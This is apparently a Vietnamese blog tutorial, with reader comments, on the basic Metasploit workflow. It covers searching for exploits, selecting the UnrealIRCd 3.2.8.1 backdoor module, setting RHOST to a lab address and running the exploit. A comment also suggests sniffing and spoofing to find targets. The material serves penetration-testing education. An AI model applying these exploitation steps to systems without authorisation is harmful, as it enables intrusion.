Metasploit Framework:
Metasploit Framework (ở bài này mình sẽ gọi Metasploit) là một framework mã nguồn mở xây dựng từ ngôn ngữ perl sau đó đc viết lại bằng ruby phát triển nhằm sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác, Metasploit có cơ sở dữ liệu chứa hàng ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.Metasploit framework |
Khởi động Metasploit:
Ta có 3 cách để khởi động:- Show Application > Tìm Metasploit > Mở lên.
- Từ Applications > Exploitation Tools > Metasploit.
- Mở Terminal lên > Gõ lệnh: # msfconsole.
Khi Metasploit đang chạy bạn sẽ thấy dòng lệnh bắt đầu bằng msf> .
Sử dụng Metasploit:
Metasploit có thể là một chút khó hiểu nếu bạn chưa bao giờ sử dụng nó trước đây, nhưng một khi bạn đã quen với cách hoạt động, bạn có thể làm một số điều tuyệt vời với nó. Cơ bản của một quá trình tấn công gồm các bước sau:
Bước 1. Chọn một Exploit.
Nếu bạn muốn xem tất cả các exploit có trong database của Metasploit thì hãy gõ:
msf > show exploits
Nó sẽ hiển thị cho bạn gần như tất cả các exploit có trong database, còn nếu muốn tìm kiếm một exploit thì Metasploit cho phép bạn tìm kiếm theo nhiều cách.
Gõ help search để xem tất cả các tùy chọn:
Và nếu bạn muốn tìm kiếm theo tên, chỉ cần gõ search <tên-cần tìm> vào msfconsole. Các ví dụ dưới đây sẽ giúp bạn hiểu:
1) Tìm exploit cho lỗ hỏng Microsoft’s Security Bulletin MS13-069, thì ta chỉ cần lấy mã số để tìm:
2) Tìm theo số CVE ID:
3) Tìm tất cả CVE ID thuộc năm nào đó:
Khi bạn đã tìm được exploit và muốn xem thông tin về exploit đó thì hãy dùng info:
Thông tin bao gồm tác giả, các tham số, giới thiệu và các trang web thông tin về exploit đó.
Để chọn sử dụng nó ta dùng lệnh use <exploit>, ví dụ:
Vậy là ở đây ta thấy RHOST còn trống, hãy thiết lập giá trị cho nó:
Địa chỉ IP ở trên là địa chỉ của mục tiêu nhé. Sau đó thì kiểm tra lại:
Đã thiết lập thành công rồi đấy.
help search |
1) Tìm exploit cho lỗ hỏng Microsoft’s Security Bulletin MS13-069, thì ta chỉ cần lấy mã số để tìm:
msf > search MS13-069
msf > search cve:2013-3660
msf > search cve:2013
4) Tìm theo một trương trình cụ thể:
msf > search unreal
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
info exploit/unix/irc/unreal_ircd_3281_backdoor |
Để chọn sử dụng nó ta dùng lệnh use <exploit>, ví dụ:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Bước 2. Thiết lập các tham số đầu vào.
Để thiết lập một tham số cho exploit ta dùng lệnh set, cấu trúc lệnh như sau:
msf exploit() > set <tham-số> <giá-trị>
Thông thường ta sẽ có 4 loại tham số thường gặp:- LHOST: Local Host, địa chỉ của Kali.
- LPORT: Local Port, cổng muốn sử dụng trên máy Kali, mặc định tự điền.
- RHOST: Remote Host, địa chỉ IP của mục tiêu.
- RPORT: Remote Port, cổng muốn dùng trên máy mục tiêu, mặc định tự điền.
Muốn xem lại các tham số nào cần thiết lập, hoặc đã thiết lập gì:
msf exploit() > show options
show options |
msf exploit() > set RHOST 172.16.100.10
show options again |
Bước 3. Chọn loại mục tiêu.
Đối với exploit unreal dùng ở ví dụ trên thì chỉ có một tùy chọn mục tiêu là Automatic Target thôi, tuy nhiên với một số exploit khác sẽ có rất nhiều tùy chọn, và cũng như với tham số ta có thể xem và thiết lập giá trị cho nó:
msf exploit() > show targets
Lệnh này để hiện thị ra tất cả các loại mục tiêu được chọn và ID của từng loại.
msf exploit() > set target <ID>
Rồi thiết lập một loại mục tiêu cho exploit.Bắt đầu khai thác.
Đơn giản với lệnh exploit thôi là ta đã bắt đầu khai thác lỗ hỏng từ mục tiêu.
msf exploit() > exploit
Lời kết:
Một quá trình khai thác cơ bản chỉ với ba bước như trên thôi, nếu các bạn còn thắc mắc chỗ nào thì hãy để lại bình luận mình sẽ giải thích thêm, mình sẽ rất vui khi nhận được các phản hồi từ các bạn. Ở bài sau mình sẽ demo trên lab về khai thác lỗ hỏng trên Windows XP, hãy chuẩn bị để thực hành nhé.
5 Comments
Bài viết thực sự hữu ích cho người mới học . cảm ơn tác giả :)
ReplyDeleteLàm sao để biết đc rport, rhost ví dụ như là mình ko biết ip và các các port đang mở thì phải làm sao ạ???
ReplyDeleteAd ơi nó bị lỗi không hiện msf thì làm thế nào. Hình ảnh:
ReplyDeletehttps://whitehat.vn/attachments/untitled2-png.1517/
https://whitehat.vn/attachments/untitled3-png.1518/
để biết được ip mục tiêu thì dùng các công cụ information gathering ,sniffing ,spoofing ,vv.... để tìm ip :v
ReplyDeleteTrung Nguyễn Văn: Bạn tạo user rồi dùng lệnh # su để chuyển sang nhé
ReplyDelete